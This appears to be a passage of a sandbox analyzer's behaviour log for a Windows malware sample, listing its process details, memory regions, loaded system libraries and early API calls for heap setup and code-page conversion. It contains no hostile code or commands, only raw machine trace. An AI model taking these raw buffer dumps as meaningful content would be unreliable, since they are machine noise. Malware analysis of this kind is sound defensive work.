# Flog Txt Version 1 # Analyzer Version: 4.4.0 # Analyzer Build Date: Dec 8 2021 20:04:45 # Log Creation Date: 27.12.2021 20:59:03.773 Process: id = "1" image_name = "31646747fe74d32212a7cbcb97c7d78d.virus.exe" filename = "c:\\users\\rdhj0cnfevzx\\desktop\\31646747fe74d32212a7cbcb97c7d78d.virus.exe" page_root = "0x73c78000" os_pid = "0xdb0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x618" cmd_line = "\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\31646747fe74d32212a7cbcb97c7d78d.virus.exe\" " cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f4cd" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 117 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 118 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 119 start_va = 0x40000 end_va = 0x54fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 120 start_va = 0x60000 end_va = 0x9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 121 start_va = 0xa0000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 122 start_va = 0x1a0000 end_va = 0x1a3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 123 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 124 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 125 start_va = 0x400000 end_va = 0x4d3fff monitored = 1 entry_point = 0x423d80 region_type = mapped_file name = "31646747fe74d32212a7cbcb97c7d78d.virus.exe" filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\31646747fe74d32212a7cbcb97c7d78d.virus.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\31646747fe74d32212a7cbcb97c7d78d.virus.exe") Region: id = 126 start_va = 0x77b90000 end_va = 0x77d0afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 127 start_va = 0x7ffb0000 end_va = 0x7ffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ffb0000" filename = "" Region: id = 128 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 129 start_va = 0x7fff0000 end_va = 0x7ffd504cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 130 start_va = 0x7ffd504d0000 end_va = 0x7ffd50690fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 131 start_va = 0x7ffd50691000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffd50691000" filename = "" Region: id = 269 start_va = 0x1f0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 270 start_va = 0x6edd0000 end_va = 0x6ee1ffff monitored = 0 entry_point = 0x6ede8180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 271 start_va = 0x6ee20000 end_va = 0x6ee99fff monitored = 0 entry_point = 0x6ee33290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 272 start_va = 0x74f30000 end_va = 0x7500ffff monitored = 0 entry_point = 0x74f43980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 273 start_va = 0x6eea0000 end_va = 0x6eea7fff monitored = 0 entry_point = 0x6eea17c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 274 start_va = 0x4e0000 end_va = 0x73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 275 start_va = 0x74f30000 end_va = 0x7500ffff monitored = 0 entry_point = 0x74f43980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 276 start_va = 0x76ad0000 end_va = 0x76c4dfff monitored = 0 entry_point = 0x76b81b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 277 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 278 start_va = 0x7feb0000 end_va = 0x7ffaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007feb0000" filename = "" Region: id = 279 start_va = 0x4e0000 end_va = 0x59dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 280 start_va = 0x640000 end_va = 0x73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000640000" filename = "" Region: id = 281 start_va = 0x74810000 end_va = 0x748a1fff monitored = 0 entry_point = 0x74850380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 282 start_va = 0x7fb00000 end_va = 0x7fea0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\sysmain.sdb") Region: id = 283 start_va = 0x20000 end_va = 0x23fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 284 start_va = 0x1c0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 285 start_va = 0x740000 end_va = 0xf3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000740000" filename = "" Region: id = 286 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 287 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 288 start_va = 0x30000 end_va = 0x38fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 289 start_va = 0x750d0000 end_va = 0x75216fff monitored = 0 entry_point = 0x750e1cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 290 start_va = 0x77440000 end_va = 0x7758efff monitored = 0 entry_point = 0x774f6820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 291 start_va = 0x5a0000 end_va = 0x5dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 292 start_va = 0x740000 end_va = 0x83ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000740000" filename = "" Region: id = 293 start_va = 0x5e0000 end_va = 0x609fff monitored = 0 entry_point = 0x5e5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 294 start_va = 0x840000 end_va = 0x9c7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 295 start_va = 0x75660000 end_va = 0x7568afff monitored = 0 entry_point = 0x75665680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 296 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 297 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 298 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 299 start_va = 0x9d0000 end_va = 0xb50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009d0000" filename = "" Region: id = 300 start_va = 0xb60000 end_va = 0x1f5ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b60000" filename = "" Region: id = 301 start_va = 0x70970000 end_va = 0x709e4fff monitored = 0 entry_point = 0x709a9a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 302 start_va = 0x74a10000 end_va = 0x74acdfff monitored = 0 entry_point = 0x74a45630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 303 start_va = 0x752b0000 end_va = 0x7546cfff monitored = 0 entry_point = 0x75392a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 304 start_va = 0x74e80000 end_va = 0x74f2cfff monitored = 0 entry_point = 0x74e94f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 305 start_va = 0x748c0000 end_va = 0x748ddfff monitored = 0 entry_point = 0x748cb640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 306 start_va = 0x748b0000 end_va = 0x748b9fff monitored = 0 entry_point = 0x748b2a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 307 start_va = 0x77680000 end_va = 0x776d7fff monitored = 0 entry_point = 0x776c25c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 308 start_va = 0x76c50000 end_va = 0x76c93fff monitored = 0 entry_point = 0x76c69d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 309 start_va = 0x1f60000 end_va = 0x201ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f60000" filename = "" Region: id = 310 start_va = 0x2020000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002020000" filename = "" Region: id = 311 start_va = 0x74c60000 end_va = 0x74d7efff monitored = 0 entry_point = 0x74ca5980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 312 start_va = 0x5e0000 end_va = 0x5e0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 313 start_va = 0x2020000 end_va = 0x20dbfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002020000" filename = "" Region: id = 314 start_va = 0x21f0000 end_va = 0x21fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000021f0000" filename = "" Region: id = 315 start_va = 0x5e0000 end_va = 0x5e3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 316 start_va = 0x70720000 end_va = 0x7073cfff monitored = 0 entry_point = 0x70723b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 317 start_va = 0x5f0000 end_va = 0x5f2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Region: id = 333 start_va = 0x5f0000 end_va = 0x5f0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005f0000" filename = "" Thread: id = 1 os_tid = 0xc8c [0067.512] GetStartupInfoW (in: lpStartupInfo=0x19ff18 | out: lpStartupInfo=0x19ff18*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\Desktop\\31646747fe74d32212a7cbcb97c7d78d.virus.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0067.512] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0067.513] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x1e0000 [0067.697] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f30000 [0067.697] GetProcAddress (hModule=0x74f30000, lpProcName="FlsAlloc") returned 0x74f4a980 [0067.697] GetProcAddress (hModule=0x74f30000, lpProcName="FlsGetValue") returned 0x74f47570 [0067.697] GetProcAddress (hModule=0x74f30000, lpProcName="FlsSetValue") returned 0x74f49e30 [0067.698] GetProcAddress (hModule=0x74f30000, lpProcName="FlsFree") returned 0x74f54ff0 [0067.700] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x238) returned 0x1e05a8 [0067.700] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74f30000 [0067.701] GetCurrentThreadId () returned 0xc8c [0067.701] GetStartupInfoW (in: lpStartupInfo=0x19fea0 | out: lpStartupInfo=0x19fea0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\Desktop\\31646747fe74d32212a7cbcb97c7d78d.virus.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0067.701] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x824) returned 0x1e07e8 [0067.701] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0067.701] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0067.701] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0067.701] SetHandleCount (uNumber=0x20) returned 0x20 [0067.701] GetCommandLineW () returned="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\31646747fe74d32212a7cbcb97c7d78d.virus.exe\" " [0067.702] GetEnvironmentStringsW () returned 0x64ffc0* [0067.702] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xa3e) returned 0x1e1018 [0067.702] FreeEnvironmentStringsW (penv=0x64ffc0) returned 1 [0067.702] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x4c5868, nSize=0x104 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\31646747fe74d32212a7cbcb97c7d78d.virus.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\31646747fe74d32212a7cbcb97c7d78d.virus.exe")) returned 0x48 [0067.702] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xbe) returned 0x1e1a60 [0067.702] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xb4) returned 0x1e1b28 [0067.702] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x62) returned 0x1e1be8 [0067.702] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x80) returned 0x1e1c58 [0067.702] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x92) returned 0x1e1ce0 [0067.702] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x9c) returned 0x1e1d80 [0067.702] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x86) returned 0x1e1e28 [0067.702] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x4c) returned 0x1e1eb8 [0067.703] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x6c) returned 0x1e1f10 [0067.703] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x3e) returned 0x1e1f88 [0067.703] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x5e) returned 0x1e1fd0 [0067.703] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x86) returned 0x1e2038 [0067.703] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x4e) returned 0x1e20c8 [0067.703] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x52) returned 0x1e2120 [0067.703] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x40) returned 0x1e2180 [0067.703] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xf6) returned 0x1e21c8 [0067.704] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xa0) returned 0x1e22c8 [0067.704] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x5a) returned 0x1e2370 [0067.704] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x5e) returned 0x1e23d8 [0067.704] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xb4) returned 0x1e2440 [0067.704] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x48) returned 0x1e2500 [0067.704] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x54) returned 0x1e2550 [0067.704] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x5a) returned 0x1e25b0 [0067.704] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x6c) returned 0x1e2618 [0067.704] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x76) returned 0x1e2690 [0067.704] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x60) returned 0x1e2710 [0067.704] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xfa) returned 0x1e2778 [0067.704] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x52) returned 0x1e2880 [0067.704] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x42) returned 0x1e28e0 [0067.705] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x50) returned 0x1e2930 [0067.705] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x78) returned 0x1e2988 [0067.705] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x76) returned 0x1e2a08 [0067.705] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x48) returned 0x1e2a88 [0067.705] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x66) returned 0x1e2ad8 [0067.705] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x50) returned 0x1e2b48 [0067.705] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x68) returned 0x1e2ba0 [0067.705] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x48) returned 0x1e2c10 [0067.705] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1e1018) returned 1 [0067.707] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1e1018 | out: hHeap=0x1e0000) returned 1 [0067.708] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0xa4) returned 0x1e2c60 [0067.708] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0067.708] GetLastError () returned 0x0 [0067.708] SetLastError (dwErrCode=0x0) [0067.709] GetLastError () returned 0x0 [0067.709] SetLastError (dwErrCode=0x0) [0067.709] GetLastError () returned 0x0 [0067.709] SetLastError (dwErrCode=0x0) [0067.709] GetACP () returned 0x4e4 [0067.709] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x244) returned 0x1e2d10 [0067.709] GetLastError () returned 0x0 [0067.709] SetLastError (dwErrCode=0x0) [0067.709] IsValidCodePage (CodePage=0x4e4) returned 1 [0067.709] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19fe48 | out: lpCPInfo=0x19fe48) returned 1 [0067.709] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19f90c | out: lpCPInfo=0x19f90c) returned 1 [0067.709] GetLastError () returned 0x0 [0067.709] SetLastError (dwErrCode=0x0) [0067.709] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19f924, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0067.710] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x22c) returned 0x1e1018 [0067.710] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19f924, cbMultiByte=256, lpWideCharStr=0x1e1040, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽\\\닝勱艪⊭) returned 256 [0067.710] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽\\\닝勱艪⊭, cchSrc=256, lpCharType=0x19fc2c | out: lpCharType=0x19fc2c) returned 1 [0067.710] HeapValidate (hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1e1018) returned 1 [0067.710] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x1e1018 | out: hHeap=0x1e0000) returned 1 [0067.710] GetLastError () returned 0x0 [0067.710] SetLastError (dwErrCode=0x0) [0067.710] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19f924, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0067.711] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x22c) returned 0x1e1018 [0067.711] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19f924, cbMultiByte=256, lpWideCharStr=0x1e1040, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽\\\닝勱艪⊭) returned 256 [0067.711] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽\\\닝勱艪⊭, cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0067.711] RtlAllocateHeap (HeapHandle=0x1e0000, Flags=0x0, Size=0x22c) returned 0x1e1250 [0067.711] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽\\\台舯­᠌尐砀㄀攀∀, cchSrc=256, lpDestStr=0x1e1278, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽\\\௝勰苒⊭) returned 256 [0067.711] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 